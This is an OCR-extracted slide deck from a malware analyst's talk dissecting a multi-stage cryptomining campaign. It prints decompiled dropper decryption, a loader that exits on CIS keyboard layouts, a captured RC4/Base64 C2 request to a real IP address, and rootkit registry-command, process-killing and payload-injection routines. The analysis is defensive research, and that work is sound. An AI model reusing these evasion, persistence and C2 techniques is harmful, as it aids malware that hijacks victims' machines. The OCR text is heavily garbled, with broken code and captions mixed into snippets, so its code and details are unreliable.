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Why this bot?

:
a

Digital Signature Details

General | advanced

—. Digital Signature Information
=
4¢/) This digital signature is OK.

Signer information

|Microsoft Caorporation

Countersignatures

Mame:
E-mail: |Not available
Signing time: | Tuesday, February 03, 2015 11:20:47 PM

View Certificate

Name of signer: E-mail address: Timestamp

Microsoft Time-5... Mot available

Tuesday, February 0...

Details

Signed Windows update
Downloads and installs a
legitimate KB3033929

Rootkit
Downloads and installs rootkit.



Why this bot?

Light 20-minute adventure
We thought
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Dropper-Roller-XORer
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Dropper-Roller-XORer

v25 = VirtualAllocEx(@xFFFFFFFF, @, dwSize, flAllocationType, v5 << 6);

— A -
= MZJJ

(o)

W

v1@ = &unk 41A3ESB;

for ( k = 8; k < duSize >> 2; ++k )

i
va = Vla[k] - k;

*(,25 + k) = dword 41A3E4 ~ _ ROL4A__ (dword 41A3E4 ~ vO, 7);
}



Dropper-Roller-XORer

Decrypt data

The datais decrypted and
decryption_info.kernel 32 handle = GetModuleHandleA(ModuleName); . .
decryption_info.data 1 = &unk 41B16C; becomes a COde Startlng Wlth a

decryption_info.size of data 1 = @x1F978; prologue
decryption_info.decryption_key = dword 41B188;
decryption_info.size of data 2 = dword 43AAB4;
8xF5AFB15B;
8xECF2BB28;

(&decryption_info);

Transfer control

o Dropper transfers control to

L e decrypted code with a pointer
! to the struct

UNeBbL =

Craft a struct

A kernel32.dll handler and
decryptioninformation for next
stage




Dropper-Roller-XORer

Stack strings
Windows APl names are
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Dropper-Roller-XORer

= Bj
= @j
while ( <
{
if ( I( % 3))
+= 2;
*( + ++) =

(@, -»size of data 1, 0x3008, 4);

(@, -»>size of data 2, ex3ee0, 4);

-»size of data 1 )

*( ->data_1 +

-»>size of data 1 / 5u;
>> 2; ++1 )
->decryption_key

= F5G_decompress( ’ );

if ( || =2 )
1
if )
-= 2;
else
-= 3;
<<= 8;
+= Fyd++

= sub_41AE@8(&v4);

if ( v8 >= @x7De0 )

= Bx500 )




Dropper-Roller-XORer
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Loader: let the party start!

write to log("running loader");
if ( check 0S_version() )
goto LABEL _2;
if ( check _keyboard layout() )
{
write to log("cis found");
LABEL_2:
self deleting func();
LABEL_3:
v5 = GetCurrentProcess();
TerminateProcess(v5, @);
return &;

¥
if ( check presence() )

1

write to log("exiting");
goto LABEL 3;

v = 1;
reateMutexA(®, 1, Name);
et current_process = GetCurrentProcess;

M e

[o]=]

Total logging
All code is nicely commented
with debugging strings

12



Loader: let the party start!

GetVersionExW(&/ersionInformation);
if ( VersionInformation.dwMajorVersion == 5 )
{
minor_version = VersionInformation.dwMinorVersion;
if ( !WersionInformation.dwMinorVersion )
{
write_to_log("win 2808 found. exiting");
minor_version = VersionInformation.dwMinorVersion;
¥
if ( minor_version == 1 )
{
write_to_log("win xp found. exiting");
minor_version = VersionInformation.dwMinorVersion;
¥
if ( minor_version != 2 )
return 1;
vl = "win xp x64 or 2003 found. exiting";
LABEL_8:
write to_log(vl);
return 1;

¥
if ( VersionInformation.dwMajorVersion == & && !VersionInformation.dwMinorVersion )}
{
vl = "win server 2888 found. exiting";
goto LABEL_8;
¥

return B8;

Check OS version

Stop executingif:

*  Windows XP

*  Windows 2000

«  Windows Server 2008

Check keyboard layout
Check language against one of
CIS languages

Check loader presence
Create a mutex

13



Loader: let the party start!

switch { (unsigned int)GetKeyboardlLayout(@) & @x3FF )
1
case LANG_ROMANIAN:
case LANG RUSS5TIAN:
case LANG UKRAIMNIAMN:
case LANG BELARUSIAN:
case LANG TAJIK:
case LANG_ARMENTIAMN:
case LANG _AJERI:
case LANG GEORGIAN:
case LANG_KAZAK:
case LANG_KYRGYZ:
case LANG TURKMEM:
case LANG_UZBEK:
v = 1;
break;
default:
return vi;

¥

return ve;

Check OS version

Stop executing if:

* Windows XP

*  Windows 2000

*  Windows Server 2008

Check keyboard layout
Check language against one of
CIS languages

Check loader presence
Create a mutex

14



Loader: let the party start!

v = CreateMutexA(@, 1, Name);

iF ( 1ve )
return 1;

if ( GetlastError() == 183 )

{
CloseHandle(v@};
write to log("loader service already run")};
return 1;

h

CloseHandle(v®);

return @;

Check OS version

Stop executing if:

* Windows XP

*  Windows 2000

*  Windows Server 2008

Check keyboard layout
Check language against one of
CIS languages

Check loader presence
Create a mutex

15



Loader: let the party start! 16

sub_403505(L"MajorVersion: %d", *(1pBuffer + 5));
sub_403505(L"MinorVersion: %d", v3[4]);
sub_403505(L"BuildNumber: %d", v3[71);
sub_403505(L"RevisionNumber (QFE): %d", v3[6]);

vl = v2[7];

if ( v4 < 7681u )
return @;
if ( v4 <= 7681u )

i Crypt32.dll check
lfr,it:in:;_?ﬁm 88 vale] < 187410 ) Checks if crypt32.dll exists and
LABEL_13: ’ version is greater than
sub_40AEE@(crypt32 ver); build 7601rev. 18741.
; If less — install legitimate update

return 1;



EE .. anupdate.. to add
support for SHA-2 signing
and verification
functionality.

https://docs.microsoft.com/en-us/security-updates/SecurityAdvisories /2015/3033929
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Loader: let the party start!

if ( check _crypt32 version() )
i
write to log("KB installed");
h
else
i
write to log("KB is not installed");
vB = get 05 _ver();
1'F { v == 1 )
i
write to log("installing KB for win 7 x86");
download and install KB("/1.php?f=1");
self deleting func();
v9 = GetCurrentProcess();
TerminateProcess(v9, 8);
I
1'F { v == 2 )
i
write to log("installing KB for win 7 x64");
download _and install KB("/1.php?f=2");
self deleting func();
v1l® = GetCurrentProcess();
TerminateProcess(v1e, @);

Download Windows update

If update is needed, it is
downloaded and installed.
After that malware sends logs
to CnC, deletes itself and exits

S \Well, I'\‘/e’d’one alljlfcanjdo?

18
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Say it right: loader communication protocol 20

POST /b/
BE737183d5f4fae26e2bebb57df33dacPLDAZRNS0jq5agaMs1561elgG27299ChZ2091mdcCpb7 Ive

HTTP/1.1 CheckIP

Content-Type: application/octet-stream

Cache-Control: no-cache CheCkS IP Via SerViceS I|ke

User—Agent:lNinduws—Update—Agent H
Host: 45.227.252.54 myexternalip.com

Content-Length: 432
Connection: Close

¥oTLOVQIHF 3fwlwec9ardissTasAtsvg
YelVKWUBuIxLR+urdMzpG5cI27Cn@re0aZHWDa ]l peQuwiwnBGZVzggZseNnkIEiX9oXpsSTXT JZNCnByE
iEWZ4eEzuOwalmfR3asrWR+vDtqI5euswjUIkU7072PkadfbvKREOMeCMdsZ61jBkZMPxnKIVVDZxs5H

——— Request rootkit or bot
K2aEdcAxNUWKD2cyWZcx1ETSXczyPvIoozvlhwANo2 TpeKbUENCce91STBhdOKWZIMBAQCCV LS/ H -
KSAM29dQtWSFXiwjf09T57zvhE,/QmpH2E/ POST requeSt Wlth RC4
TVKBWShAWGF F1891RG1TIralaTQgi/mdsHTXQzb3cglagyjhtvouasSQOEvr/ XZwiSaquss/ encrypted and Baseb64-encoded
kWFy Ir8nHUBIMSmPigM+EpQUTU/Rja0vY3WKManD40]3gNg==HTTP/1.1 280 OK ) ] .

Date: Thu, 21 Mar 2819 @1:14:37 GMT information about infected
Server: Apache/2.2.22 (Debian) Pf

X-Powered-By: PHP/5.4.45-8+deb7ulsd machnine

Content-Disposition: attachment; filename=1818bcS56cfd@@co5e987085976d4bdcac. x64

Content-Length: 121668

Connection: close Response

Content-Type: application/octet-stream RC4-encr‘ypted PE_fIIe

L A - ) |

4| .. he e WL F L LSk ... o P S d.InTl.c..... §...7..f6.eh...m.. .vn....



Say it right: loader communication protocol

/b/bb180dab2322c40b8d628dea3b8c7c60PtDAZRN90jq5agaM

H.al'dCOded MD5 P - is X64 for rootkit download
directory of G -isx86
following

substring M -is x64

. f t |
S —is x86 or bot download

Hardcoded
string

Random part

21



Say it right: loader communication protocol

JSON
"rep": 0O, Contains basic information.
"proc_nti EF“‘ Some values are hardcoded
proc c™: R
"hash_r": "O", RC4 encrypted
"ver”: "1557, Baseb64 encoded
"CE.].T.”: rr,:,rrr
rrcisrr: HC'Hr
MY ] ™e rr,:,rrr RC4 key
"E.dIf.": rr,:,rrr .
Mpiper wiw gJypA9RWUIYpnBbzujVqE6fDc
"osv": "Windows 7 Professional"™, EAkOZOZ
HDSEH: rrc,rrr
rrtr[-.t rr: rrl:lrrr
"bid”: "-\.-\.-\.-\.-\.-\.-\.-\."r
"bnet™: "ldr",
"video™: "Standard VGA Graphics Adapter, ™,
"F_-c": "lLl\.l.l.lLlLl\.l\.”'_
"dI[!n”: "l\.l.l.l.ltl\.l\.l."'_

rn 3 ma L) rn
llE H R



Say it right: loader communication protocol

if ( sub 4063B8(22, v38, "MZ") == v38 ) Rootkit response

t MZ header is checked
write to log("c2 dr MZ ok"); ..
w2 = 5l.|b 4@38FE( _,C-‘_, 1J5tl"l "’)_1 SGfVlce Is created

¥

else

{
write to log("c2 dr not MZI");

¥

p enSCManagerA(@, @, 2u);
v8 )

hService = CreateServiceW(v&, v5, v5, @x18u, 1u, 3u, @, lpBinaryPathName, @, @, @, 8, 8);

23
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Rootkit: remembering Necurs

case @x220000:

dword_4088434 = 1;

2

KeSetEvent(&0bject, @, @);

goto LABEL 35;
case @x220004:

if ( MumberOfBytes < 8x1080 )
break;
encrypt_and_set_key_value(L"S@1", Src, Numbe

if ( ve )

break;
memcpy (v8, Src, Mum
Length = Numbero

dword_408434 = 2;

coto LABEL 34;
case Ox220008:
it ( dword 4088420 || NumberOfBytes && NumberOfBytes < @x180 )

break;
if ( Src &% NumberOfBytes )
{
if ( encrypt_and_set_key_value(L"S82", Src, NumberOfBytes) )
1
v7 = decrypt_mzpe_and_inject(Src, NumberOfBytes);
goto LABEL_61;
¥
1
else
{

delete_reg value(L"S502");
v6 = delete_reg_value(L"S@5");
sub 403C3A();

1

break;

Necurs commands style
IOCTL-like registry keys

25



Rootkit: remembering Necurs

Registry access intercept

callback func_ 488978 = al; R . d b d
sub_402A84 (&unk_4885950) ; ecelve commands based on
return CmRegisterCallback(Function, @, &Cookie) >= @; registry keys

if ( wesicmp(object name, L"\\REGISTRY\\MACHINE\\SYSTEM") || *(Argument2 + 3) I= 3 )
{

ExFreePoolWithTag(via, @);

goto LABEL_16;

alue = @;
5 = @xCoesseel;
f ( RtlUnicodeStringToInteger(*(Argument2 + 1), 0, &Vzlus) >= 6 &R& Valus >= Ox226000 )

P o= B
DataSize = @;

if ( callback func_488978(callback func_488978, Value, *(Argument2 + 4), *(Argument2 + 5), &P, &ataSize) )
1

v5 = 9xCoeeoa22;
if (7))

Hs =

-~

sub_4027C6(v18, L"o", P, DataSize);
if (7))
ExFreePoolWithTag(FP, @);

26



Rootkit: remembering Necurs

int _ cdecl write payload to registry(BYTE *1pData, DWORD chData)

{
return set reg value(@x220008|, lpData, chData, @, 8);
¥
case Bx220008:
if ( dword 408420 || && < @xl1ee )
break;
if &&
r
L
it ( encrypt_and set key value(L"582", .
{
= decrypt_mzpe_and_inject(

goto LABEL_b61;

Bot
Downloads update

Saves it to registry with key
0x220008

Rootkit

Checks the key

Gets the data

Saves it to registry key

27



Rootkit: remembering Necurs 28

Bot
: Downloads update
L return set reg value(|Bx2208008|, R , B, 8); Saves It to regiStry Wlth key
0x220008
|case Bx220608:|
if d d 468428 NumberOfByt && NumberOfByt < Bxl1ee .
i br(,ea::?r‘ B || MumberOfBytes umber0fBytes X ) Rootkit
if { Src &% NumberOfBytes ) Checks the key
i
if ( encrypt_and_set key value(L"S82", Src, NumberOfBytes) )} Gets the data
{ Saves it toregistry key

v7 = decrypt_mzpe_and_inject(Src) NumberOfBytes);
goto LABEL_b1;
¥
} “\REGISTRY\MACHINE\SYSTEM\CurrentControlSet\services\*driver_name*\S02”



Rootkit: remembering Necurs

Commands

0x220004

Update rootkit

0x220010

Signatures blacklist

0x220008

Update payload

0x220014

Target process to
inject

0x22000C

Names blacklist

0x220018

Protectedregistry
keys
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Rootkit: remembering Necurs

vl3 = PsSetCreateProcessNotifyRoutine(dword 4088EC, @);
dword 488918 = v13 >= @;
memset{dword 4088F8, 8, sizeof(dword 4088F8));
if (viz < @)
return v3;

v5 = PsSetlLoadImageNotifyRoutine(NotifyRoutine);
dword 488944 = v5 >= @8;
memset(dword 40891C, 0, sizeof(dword 40891C));
if ( vs <8 )

return v2;

Process creation handlers
Rootkit monitors process
creation to check them

Blacklists

Rootkit receives blacklist of
process names and signature
names

Process termination

If process found on the blacklist,
it is terminated and EP is
overwritten
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Rootkit: remembering Necurs

if ( sub_401208(aProcesshacker2, #x228050u, 0x2A28, @, @) )
{
sub_4834D9("Names blacklist setup”);
if ( sub_401208(aAntirootkitsBi, ©x228078u, 2513, @, @) )
{
sub_4834D9("Signatures blacklist setup");
sub_481288(aCalculatoryers, 0x2280A68u, Bx4C2, B, B);
if ( sub_4081208(aSoftwar2iZip 1, ©x2286C8u, 17, 8, a) )
{ ( Po ftware Technol
sub_4034D9("Protected re
= GetCurrentThreadl
sub_ 401208 (& , ex2280k

El

= GetProcessHeap();
HeapFree( , 8, );
return 1; t _____

¥
sub_4034D9("Protected regis
h

else

1

Blacklists

Rootkit receives blacklist of
process names and signature
names from loader
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Rootkit: remembering Necurs

if ( PsLookupProcessByProcessId(al, &0bject) >= @ )
if ( ObOpenObjectByPointer(Object, 512, @, 1, PsProcessType, ©, & rocessHandle) >= @ )

LOBYTE({v1l) = ZwTerminateProcess{ProcessHandle, @) >= @;
ZwClose(ProcessHandle);
¥
ObfDereferenceObject{0Object);
}

vl = ToAllocateMdl((a1l + *(*(21 + 60) + =21 + 40)), Ox200u, 0, @, 0);
v2 vl;
if (vl )
{
MmProbeAndLockPages(vl, @, ©);

v3 = MmMaplLockedPagesSpecifyCache(v2, @, MmCached, @, @, NormalPagePriority);
if ((v3 )

¢ %,3 = Ox1B8; _ mov eax, 0xOC000001, STATUS_UNSUCCESSFULL
v3[1] = ©x8C2C0; - retn 8
MmUnmaplLockedPages(v3, v2);
h
MmUnlockPages(v2);
IoFreeMdl(v2);
h

Process creation handlers
Rootkit monitors process
creation to check them

Blacklists

Rootkit receives blacklist of
process names and signature
names from loader

Process termination

If process found on the blacklist,
it is terminated and EP is
overwritten

32



Rootkit: remembering Necurs

if ( )]
{
memcpy (v2, &encrypted_mzpe_ldr_load_dl1l, @x1206u);
=Bj
do
[vad++] "= BxCCu;
while ( < 9x1200 );
decrypted ldr dl1 = sub_485148(z1, , &::MaxCount,
if ( decrypted_ldr_dl1_ )
PsSetCreateProcessNotifyRoutine func(®, inject func, @);
ExFreePoolWithTag( , 8);

MZP ¥
5

ar|a o

is progtdm canno
t be run in DOS
mod

-t illabilabillab
t t,D,BleI,-:I:- Hir Shillab

e3hlllabRichillab
PE L@@

);

Payload update

Rootkit decrypts DLL from its
body

Reflective loader places the
payload in the memory
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Agenda

Dropper-Roller-XORer

Loader:let the party start!

Say it right: communication protocol
Rootkit: remembering Necurs

Bot: knock-knock, who'’s there?
Here comes the miner!

Retrospective
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Bot: knock-knock, who's there? 35

if (w2 ) .

{ ! — : Firstrun
OutputDebugStringA("not first run"); . . .
CreateThread(®, ©, directory monitor, @, ©, &ThreadId); Dlsable notlflcatlons

¥ .

else Delete shadow copies

{ .
OutputDebugStringA("first run"); Delete service Cl’yptSVC
disable notifications_100083113();
delete_shadows_186883054(); RebOOt

delete cryptsvc_10083252();

ThreadId = @;

sub_100014AB({v3, v3, &ThreadId);
CreateThread(®, @, reboot thread, ©, @, &v&);

)
OutputDebugStringA("offline mode start"); .
if ( !'RegOpenKeyExW(HKEY LOCAL_MACHINE, L"Software\\7-Zip", @, 8x20119u, &ThreadIld) ) NOt fIrSt run
sub_100032F7(&ThreadId); . .
OutputDebugStringA("offline mode ended"); Create monltorlng thread
grie (1) Create two working threads
iF (vl )
vl = CreateThread(®, @, knock_for_job 1800336E, @, 8, &/5);
iF ( 1vo )

v8 = CreateThread(®, @, knock for_pools 10883498, @, 08, &vi);
OutputDebugStringA("my testThread2");
Sleep(300006u);



Bot: knock-knock, who's there?

v28 = StrToIntA(lpSrc) - 2;
if ( lv2e )
{
OutputDebugStringA("c2, need to update");

V2% = sub 10@@1FDS(vE, v6, 4);
v31 = sub_10@@1FD5(v29, v38, 3);
v32 = StrToIntA(v31);
sub_10001F1C(h0Object, v32, v&, xmm@ 0, v28);
ExitProcess(0);
I
V2l = v20 - 1;
if ( vzl )
1
if (w21 == 2 )
1
OutputDebugStringA("c2, need to update driver");
v22 = ve[18];
lpMem = @;
*(ve + v22) =
v23 = b64_decode 18081782 ((ve + vE[17]), &IlpMem);
v24 = v23;
if ( v23 )
{

RC4(v23, lpMem);
update 100081887 (v24, ©0x228004, v, lplMem);
OutputDebugStringA("rkt updated succ");

Communication thread
The same protocol
RC4 and Base64

Commands

“2” — update bot

“3” — download and execute
“5” — update rootkit

36



OutputDebugsStringA("knocking for the pools...");



Agenda

Dropper-Roller-XORer

Loader:let the party start!

Say it right: communication protocol
Rootkit: remembering Necurs

Bot: knock-knock, who'’s there?
Here comes the miner!

Retrospective

38



Here comes the miner!

Rootkit

Bot and ... miner
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Here comes the miner!

Bot puts miner’s configuration
if ( !RegCreateKeyExA(HKEY LOCAL MACHINE, "Software\\7-Zip", @, @, @, 9x20166u, 8, &phkResult, @)

1
if ( !RegSetValueExA{phkResult, "7", @, 1lu, lpData, chData) )
vd = 1;
RegCloseKey{phkResult);
¥

Miner receives and parses it

if ( RégOpenKeyEXA(HKEY_LDCAL_MACHINE, "Software\\7-7Zip", @, ©x20119u, &phkResult)
goto LABEL_9;

v2 = cbData + 18;

v3 = GetProcessHeap();

vl = HeapAlloc(v3, 8u, v2);

if { 'vl || !RegQueryValueExA(phkResult, L"7", @, @, v1, &cbData) )

Isub_1@09DA18(=21, v1, "wallet™)
lsub_18@9DA16(=21, w1, ":")} )

if ( !'RegQueryValueExA(phkResult, L"7", @, @, 8, &chData) ) if ( 1lstrlena(vl)
i | 'sub 1@@9DA1O(21, v1, "cpu")
if ( cbbata != -10 ) | 'sub_1009DA10(21, v1, "pool™)
| !sub_1@09DA10(=21, v1, "port™)
|
|

I
{ |
|
|

40



Here comes the miner!

reg_set value(@x22800C, &1, 4u, @, 8);
OutputDebugStringA{ "MyWatchDogThread runned");
while { 1 )

{

if ( find_proc
pause_miner();

if ( find_process(L

pause_miner();

if ( find _process{L"procexp

pause_miner(};
if ( find _proces
pause_miner();
if ( find_proces
pause_miner();
if ( find_proces
pause_miner();
if ( find_proces
pause_miner();
if ( find _proces
pause_miner();
if ( find _proces
pause_miner();
Sleep(1506u);

s(L"taskmgr.exe") )
ocexp.exe") )

.exe") )

int cdecl find process(LPCWSTR lpString2)

HANDLE v1; [/ esi
int result; // eax
PROCESSENTRY32W pe; // [esp+Ch] [ebp-236h]

vl = CreateToolhelp325napshot(@xFu, 8);
pe.dwSize = 556;
if ( Process32FirstW(vl, &pe) )
1

while { lstrcmpiW{pe.szExeFile, lpString2) )

1

if ( !Process32NextW(vl, &pe) )
goto LABEL_4;
1

result = 1;

Watchdog thread
Pauses miner if analysis tools
found

Pool changing thread
Stops miner, changes
configuration and runs it again
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Here comes the miner!

OQutputDebugStringhA("PoolChangerThread runned”);
v2 = GetCurrentThreadId();

reg_set value(@x22888C, &2, 4u, 9, @);

while { 1 )

i

do
Sleep(@xEAGBU) ;
while ( !check new config(z1l) };
while { !'dword_1@@CDeee )
Sleep(©x2710u);
dword _188CDees = 8;
OQutputDebugStringhA("stopping miner");
OutputDebugStringA(pool);
OutputDebugStringA(dword 188D8628);
sub_1008ESCA(8);
sub_10032150(dword_100D862C) ;
Sleep(@x2710u);
OutputDebugStringhA("starting miner");
sub_10031D60 (dword_100D862C) ;
sub_1008E9CA(1u);
dword 188CDe88 = 1;

Watchdog thread
Pauses miner if analysis tools
found

Pool changing thread
Monitors new miner
configuration
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Here comes the miner! 43

Dropper Loader

&
Sp
Sp

Windows Rootkit
update

@

DLL




Agenda

Dropper-Roller-XORer

Loader:let the party start!

Say it right: communication protocol
Rootkit: remembering Necurs

Bot: knock-knock, who'’s there?
Here comes the miner!

Retrospective
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Retrospective

¥

OutputDebugStringA("MyWatchDogThread runned");
return 1;

02/2018

XOR-RORS8-ADD decryption
TOR C&C

No driver

Miner
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Retrospective

if ( a1 )
1
vh = wv2;
v6 = __ROLA_ (v2 ~ @x43ADE91@, 11);
v7 = _ROL4A  (v2 ~ GetCurrentProcessId(), 7);
v8 =  PAIR ((unsigned int)al ~ v5, HIDWORD(al)}) + v5;
v3 =

|DeviceIoCDntPol(hDEVice, 0x220848u, &v5, Ox14u, 8, B,l

memset(&vi, @, @x54u);

vid = B8;

vl = CreateProcessW_func(®, this, @, @, @, @, @, @, &1, &5);
v2 = vl 1= @;

if ( vl )

{

CloseHandle(hObject);
CloseHandle{v5S);

¥

return v2;

02/2018

XOR-ROR8-ADD decryption
TOR C&C

No driver

Miner

08/2018

Driver added

IOCTL codes

Bot is run with CreateProcessW
Miner

2019

Windows update

|IOCTL-like registry keys
Different decryption algorithms
Miner
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Retrospective

int _ cdecl write payload to registry(BYTE *1pData, DWORD chData)

{
¥

return set reg value(@x220008| lpData, chData, @, 8);

02/2019

if ( !set reg wvalue(zl,|8x2280828u, =22, 8, 8) )
{

write_dbg("Payload setup ERROR");

return @;

}
06/2019

02/2018

XOR-ROR8-ADD decryption
TOR C&C

No driver

Miner

08/2018
Driver added
IOCTL codes

Bot is run with CreateProcessW
Miner

2019

Windows update

IOCTL-like registry keys
Different decryption algorithms
Miner
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In conclusion 48

New updates are to come
Lots of debugging strings
Search for efficient ways

Some attribution
Working on updates https://habr.com/en/
20% complete company/pt/blog/475328/

Don’t turn off your computer
We have sent you a new video card,

by the way < Multi-staged miner

”~

Payload can be changedin
future, but today...




Thank you!

Let’s talk!

Alexander Eremin Malware analyst Alexander.Eremin
@kaspersky.com

lkaspersky



